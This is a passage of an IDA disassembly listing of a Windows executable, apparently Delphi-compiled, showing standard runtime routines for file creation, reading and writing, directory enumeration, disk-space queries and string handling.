var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		add	esp, 0FFFFFFF0h
		push	1
		mov	[esp+14h+var_10], edx
		mov	[esp+14h+var_C], 0
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], 0
		lea	eax, [esp+14h+var_10]
		mov	edx, offset dword_407050
		xchg	eax, ecx
		call	sub_407B40
		add	esp, 10h
		retn
sub_40701C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 4
dword_407050	dd 782A2E25h, 0		; DATA XREF: sub_40701C+1Bo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407058	proc near		; CODE XREF: sub_408EFC+3Ep
					; sub_408F74+34p ...
		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_402978
		cmp	dword ptr [esp+0], 0
		jz	short loc_40706B
		mov	eax, ebx

loc_40706B:				; CODE XREF: sub_407058+Fj
		pop	edx
		pop	ebx
		retn
sub_407058	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407070	proc near		; CODE XREF: sub_40D940+61p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		push	0
		push	80h
		push	3
		push	0
		mov	eax, ebx
		and	eax, 0F0h
		shr	eax, 4
		mov	eax, ds:dword_41C138[eax*4]
		push	eax
		and	ebx, 3
		mov	eax, ds:dword_41C12C[ebx*4]
		push	eax
		mov	eax, esi
		call	sub_4038E8
		push	eax
		call	j_CreateFileA_0
		pop	esi
		pop	ebx
		retn
sub_407070	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4070B0	proc near		; CODE XREF: sub_40D940+28p
		push	ebx
		mov	ebx, eax
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		mov	eax, ebx
		call	sub_4038E8
		push	eax
		call	j_CreateFileA_0
		pop	ebx
		retn
sub_4070B0	endp ; sp = -1Ch


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4070D4	proc near		; CODE XREF: CODE:0040D8F7p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	0
		lea	eax, [esp+4]
		push	eax
		push	edi
		push	esi
		push	ebx
		call	j_ReadFile_0
		test	eax, eax
		jnz	short loc_4070F8
		mov	[esp+14h+var_14], 0FFFFFFFFh

loc_4070F8:				; CODE XREF: sub_4070D4+1Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4070D4	endp ; sp = -14h


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407100	proc near		; CODE XREF: CODE:0040D907p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	0
		lea	eax, [esp+4]
		push	eax
		push	edi
		push	esi
		push	ebx
		call	j_WriteFile_0
		test	eax, eax
		jnz	short loc_407124
		mov	[esp+14h+var_14], 0FFFFFFFFh

loc_407124:				; CODE XREF: sub_407100+1Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407100	endp ; sp = -14h


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40712C	proc near		; CODE XREF: CODE:0040D91Ap
		push	ecx
		push	0
		push	edx
		push	eax
		call	j_SetFilePointer_0
		retn
sub_40712C	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407138	proc near		; CODE XREF: sub_40D9F8+12p
		push	eax
		call	j_CloseHandle_0
		retn
sub_407138	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407140	proc near		; CODE XREF: sub_4071A8+5p

var_14C		= byte ptr -14Ch
var_138		= byte ptr -138h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB4h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_14C]
		push	eax
		mov	eax, ebx
		call	sub_4038E8
		push	eax
		call	j_FindFirstFileA_0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407199
		push	eax
		call	j_FindClose_0
		test	[ebp+var_14C], 10h
		jnz	short loc_407199
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		call	j_FileTimeToLocalFileTime
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4+2]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	j_FileTimeToDosDateTime
		test	eax, eax
		jnz	short loc_4071A0

loc_407199:				; CODE XREF: sub_407140+23j
					; sub_407140+32j
		mov	[ebp+var_4], 0FFFFFFFFh

loc_4071A0:				; CODE XREF: sub_407140+57j
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407140	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4071A8	proc near		; CODE XREF: sub_416178+33p
					; sub_416B20+39p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_407140
		inc	eax
		setnz	al
		pop	ebx
		retn
sub_4071A8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4071B8	proc near		; CODE XREF: sub_416178+63p
					; sub_416478+1E0p ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	ebx, ebx
		push	edi
		mov	eax, esi
		call	sub_4038E8
		push	eax
		call	j_SetFileAttributesA
		test	eax, eax
		jnz	short loc_4071DA
		call	j_GetLastError_0
		mov	ebx, eax

loc_4071DA:				; CODE XREF: sub_4071B8+19j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4071B8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4071E0	proc near		; CODE XREF: sub_407244+2Cp
					; sub_407294+16p

var_8		= byte ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		jmp	short loc_407200
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4071E8:				; CODE XREF: sub_4071E0+26j
		lea	eax, [ebx+18h]
		push	eax
		mov	eax, [ebx+14h]
		push	eax
		call	j_FindNextFileA
		test	eax, eax
		jnz	short loc_407200
		call	j_GetLastError_0
		jmp	short loc_40723F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407200:				; CODE XREF: sub_4071E0+6j
					; sub_4071E0+17j
		mov	eax, [ebx+18h]
		and	eax, [ebx+10h]
		jnz	short loc_4071E8
		push	esp
		lea	eax, [ebx+2Ch]
		push	eax
		call	j_FileTimeToLocalFileTime
		push	ebx
		lea	eax, [ebx+2]
		push	eax
		lea	eax, [esp+10h+var_8]
		push	eax
		call	j_FileTimeToDosDateTime
		mov	eax, [ebx+38h]
		mov	[ebx+4], eax
		mov	eax, [ebx+18h]
		mov	[ebx+8], eax
		lea	eax, [ebx+0Ch]
		lea	edx, [ebx+44h]
		mov	ecx, 104h
		call	sub_4036F8
		xor	eax, eax

loc_40723F:				; CODE XREF: sub_4071E0+1Ej
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_4071E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407244	proc near		; CODE XREF: sub_417928+B4p
					; sub_417928+19Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, eax
		not	edx
		and	edx, 1Eh
		mov	[ebx+10h], edx
		lea	eax, [ebx+18h]
		push	eax
		mov	eax, edi
		call	sub_4038E8
		push	eax
		call	j_FindFirstFileA_0
		mov	esi, eax
		mov	[ebx+14h], esi
		cmp	esi, 0FFFFFFFFh
		jz	short loc_407284
		mov	eax, ebx
		call	sub_4071E0
		mov	esi, eax
		test	esi, esi
		jz	short loc_40728B
		mov	eax, ebx
		call	sub_4072B8
		jmp	short loc_40728B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407284:				; CODE XREF: sub_407244+28j
		call	j_GetLastError_0
		mov	esi, eax

loc_40728B:				; CODE XREF: sub_407244+35j
					; sub_407244+3Ej
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407244	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407294	proc near		; CODE XREF: sub_417928+145p
					; sub_417928+24Fp
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+18h]
		push	eax
		mov	eax, [ebx+14h]
		push	eax
		call	j_FindNextFileA
		test	eax, eax
		jz	short loc_4072B1
		mov	eax, ebx
		call	sub_4071E0
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4072B1:				; CODE XREF: sub_407294+12j
		call	j_GetLastError_0
		pop	ebx
		retn
sub_407294	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4072B8	proc near		; CODE XREF: sub_407244+39p
					; sub_417928+158p ...
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+14h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4072D0
		push	eax
		call	j_FindClose_0
		mov	dword ptr [ebx+14h], 0FFFFFFFFh

loc_4072D0:				; CODE XREF: sub_4072B8+9j
		pop	ebx
		retn
sub_4072B8	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4072D4	proc near		; CODE XREF: sub_407324+2Ap
					; sub_4073B8+Ep ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_403724
		mov	edi, eax
		mov	eax, ebx
		call	sub_4038E8
		mov	ebp, eax
		test	edi, edi
		jle	short loc_40731A

loc_4072F2:				; CODE XREF: sub_4072D4+44j
		mov	bl, [esi+edi-1]
		test	bl, bl
		jz	short loc_407315
		mov	edx, ebx
		mov	eax, ebp
		call	sub_407628
		test	eax, eax
		jz	short loc_407315
		mov	edx, edi
		mov	eax, esi
		call	sub_409D14
		cmp	al, 2
		jnz	short loc_40731A
		dec	edi

loc_407315:				; CODE XREF: sub_4072D4+24j
					; sub_4072D4+31j
		dec	edi
		test	edi, edi
		jg	short loc_4072F2

loc_40731A:				; CODE XREF: sub_4072D4+1Cj
					; sub_4072D4+3Ej
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4072D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407324	proc near		; CODE XREF: sub_416C54+5Bp start+235p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40739B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, esi
		mov	eax, offset dword_4073B4
		call	sub_4072D4
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_407360
		cmp	byte ptr [esi+ebx-1], 2Eh
		jz	short loc_407365

loc_407360:				; CODE XREF: sub_407324+33j
		mov	ebx, 7FFFFFFFh

loc_407365:				; CODE XREF: sub_407324+3Aj
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, ebx
		dec	ecx
		mov	edx, 1
		mov	eax, esi
		call	sub_40392C
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	ecx, edi
		call	sub_403770
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4073A2

loc_407392:				; CODE XREF: CODE:004073A0j
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		retn
sub_407324	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40739B:				; DATA XREF: sub_407324+18o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_407392
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4073A2:				; DATA XREF: sub_407324+69o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 3
dword_4073B4	dd 3A5C2Eh		; DATA XREF: sub_407324+25o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4073B8	proc near		; CODE XREF: sub_417F24+2A8p
					; start+4E8p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_4073E8
		call	sub_4072D4
		mov	esi, eax
		push	edi
		mov	ecx, esi
		mov	edx, 1
		mov	eax, ebx
		call	sub_40392C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4073B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 2
dword_4073E8	dd 3A5Ch		; DATA XREF: sub_4073B8+9o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4073EC	proc near		; CODE XREF: sub_409864+CCp
					; sub_412708+56p ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_407420
		call	sub_4072D4
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_40392C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4073EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_407420	dd 3A5Ch		; DATA XREF: sub_4073EC+9o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407424	proc near		; CODE XREF: sub_416C54+197p
					; sub_416C54+2FEp

var_104		= byte ptr -104h

		push	ebx
		push	esi
		add	esp, 0FFFFFEFCh
		mov	esi, edx
		mov	ebx, eax
		push	104h
		lea	eax, [esp+108h+var_104]
		push	eax
		mov	eax, ebx
		call	sub_4038E8
		push	eax
		call	j_GetShortPathNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_4035B0
		add	esp, 104h
		pop	esi
		pop	ebx
		retn
sub_407424	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40745C	proc near		; DATA XREF: sub_40A460+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_40746C
		xor	eax, eax

loc_40746C:				; CODE XREF: sub_40745C+Cj
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	j_GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_405590
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_405590
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_40745C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4074D0	proc near		; CODE XREF: sub_407500+Ep

var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5

		push	esi
		add	esp, 0FFFFFFF8h
		xor	esi, esi
		test	al, al
		jbe	short loc_4074F0
		add	al, 40h
		mov	[esp+8+var_8], al
		mov	[esp+8+var_7], 3Ah
		mov	[esp+8+var_6], 5Ch
		mov	[esp+8+var_5], 0
		mov	esi, esp

loc_4074F0:				; CODE XREF: sub_4074D0+8j
		push	0
		push	edx
		push	ecx
		push	esi
		call	ds:dword_41C128
		pop	ecx
		pop	edx
		pop	esi
		retn
sub_4074D0	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407500	proc near		; CODE XREF: start+A24p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebx
		add	esp, 0FFFFFFF0h
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esp+10h+var_8]
		mov	eax, ebx
		call	sub_4074D0
		test	eax, eax
		jnz	short loc_407526
		mov	[esp+10h+var_10], 0FFFFFFFFh
		mov	[esp+10h+var_C], 0FFFFFFFFh

loc_407526:				; CODE XREF: sub_407500+15j
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		add	esp, 10h
		pop	ebx
		retn
sub_407500	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407534	proc near		; CODE XREF: sub_40765C+Fp
					; sub_407AF8+Ep ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_407534	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40754C	proc near		; CODE XREF: sub_40765C+22p
					; sub_407688+2Bp
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	edx, ecx
		cmp	edi, esi
		ja	short loc_407569
		jz	short loc_407585
		shr	ecx, 2
		repe movsd
		mov	ecx, edx
		and	ecx, 3
		repe movsb
		pop	edi
		pop	esi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407569:				; CODE XREF: sub_40754C+Aj
		lea	esi, [esi+ecx-1]
		lea	edi, [edi+ecx-1]
		and	ecx, 3
		std
		repe movsb
		sub	esi, 3
		sub	edi, 3
		mov	ecx, edx
		shr	ecx, 2
		repe movsd
		cld

loc_407585:				; CODE XREF: sub_40754C+Cj
		pop	edi
		pop	esi
		retn
sub_40754C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407588	proc near		; CODE XREF: sub_4075BC+1Ap
					; CODE:004092E1p
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_40759C
		repne scasb
		jnz	short loc_40759C
		inc	ecx

loc_40759C:				; CODE XREF: sub_407588+Dj
					; sub_407588+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
		shr	ecx, 2
		repe movsd
		mov	ecx, ebx
		and	ecx, 3
		repe movsb
		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_407588	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4075BC	proc near		; CODE XREF: sub_413D40+EDp
					; sub_413D40+108p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_403724
		push	eax
		mov	eax, ebx
		call	sub_4038E8
		mov	edx, eax
		mov	eax, esi
		pop	ecx
		call	sub_407588
		pop	esi
		pop	ebx
		retn
sub_4075BC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4075E0	proc near		; CODE XREF: sub_4084A8+365p
					; sub_4084A8+37Ap ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_407621
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx

loc_4075F9:				; CODE XREF: sub_4075E0+3Fj
		repe cmpsb
		jz	short loc_407621
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_40760D
		cmp	al, 7Ah
		ja	short loc_40760D
		sub	al, 20h

loc_40760D:				; CODE XREF: sub_4075E0+23j
					; sub_4075E0+28j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_40761D
		cmp	dl, 7Ah
		ja	short loc_40761D
		sub	dl, 20h

loc_40761D:				; CODE XREF: sub_4075E0+33j
					; sub_4075E0+38j
		sub	eax, edx
		jz	short loc_4075F9

loc_407621:				; CODE XREF: sub_4075E0+Dj
					; sub_4075E0+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4075E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407628	proc near		; CODE XREF: sub_4072D4+2Ap
					; sub_409F28+Bp ...
		push	edi
		push	eax
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		not	ecx
		pop	edi
		mov	al, dl
		repne scasb
		mov	eax, 0
		jnz	short loc_407646
		mov	eax, edi
		dec	eax

loc_407646:				; CODE XREF: sub_407628+19j
		pop	edi
		retn
sub_407628	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407648	proc near		; CODE XREF: sub_40765C+19p
		push	ebx
		mov	ebx, eax
		add	ebx, 4
		mov	eax, ebx
		call	sub_402598
		mov	[eax], ebx
		add	eax, 4
		pop	ebx
		retn
sub_407648	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40765C	proc near		; CODE XREF: sub_40CB90+28p
		push	ebx
		push	esi
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_407669
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407669:				; CODE XREF: sub_40765C+6j
		mov	eax, ebx
		call	sub_407534
		mov	esi, eax
		inc	esi
		mov	eax, esi
		call	sub_407648
		mov	ecx, esi
		mov	edx, ebx
		call	sub_40754C
		pop	esi
		pop	ebx
		retn
sub_40765C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407688	proc near		; CODE XREF: sub_40782B+7Ap

var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_40769E
		mov	ebx, 1Fh

loc_40769E:				; CODE XREF: sub_407688+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_409D38
		cmp	al, 1
		jnz	short loc_4076AD
		dec	ebx

loc_4076AD:				; CODE XREF: sub_407688+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_40754C
		mov	[esp+ebx+28h+var_28], 0
		mov	eax, esp
		mov	[esp+28h+var_8], eax
		mov	[esp+28h+var_4], 6
		lea	edx, [esp+28h+var_8]
		mov	eax, ds:off_41C14C[edi*4]
		xor	ecx, ecx
		call	sub_406CD4
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407688	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4076E0	proc near		; CODE XREF: CODE:004079D0p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_40437C
		pop	esi
		pop	ebx
		retn
sub_4076E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4076F4	proc near		; CODE XREF: sub_407700+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4034C8
		pop	ebx
		retn
sub_4076F4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407700	proc near		; CODE XREF: sub_407AF8+22p
					; sub_407B40+55p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF8Ch
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_4], edi
		xor	eax, eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax

loc_407724:				; CODE XREF: sub_407700+DDj
		or	edx, edx
		jz	short loc_407736

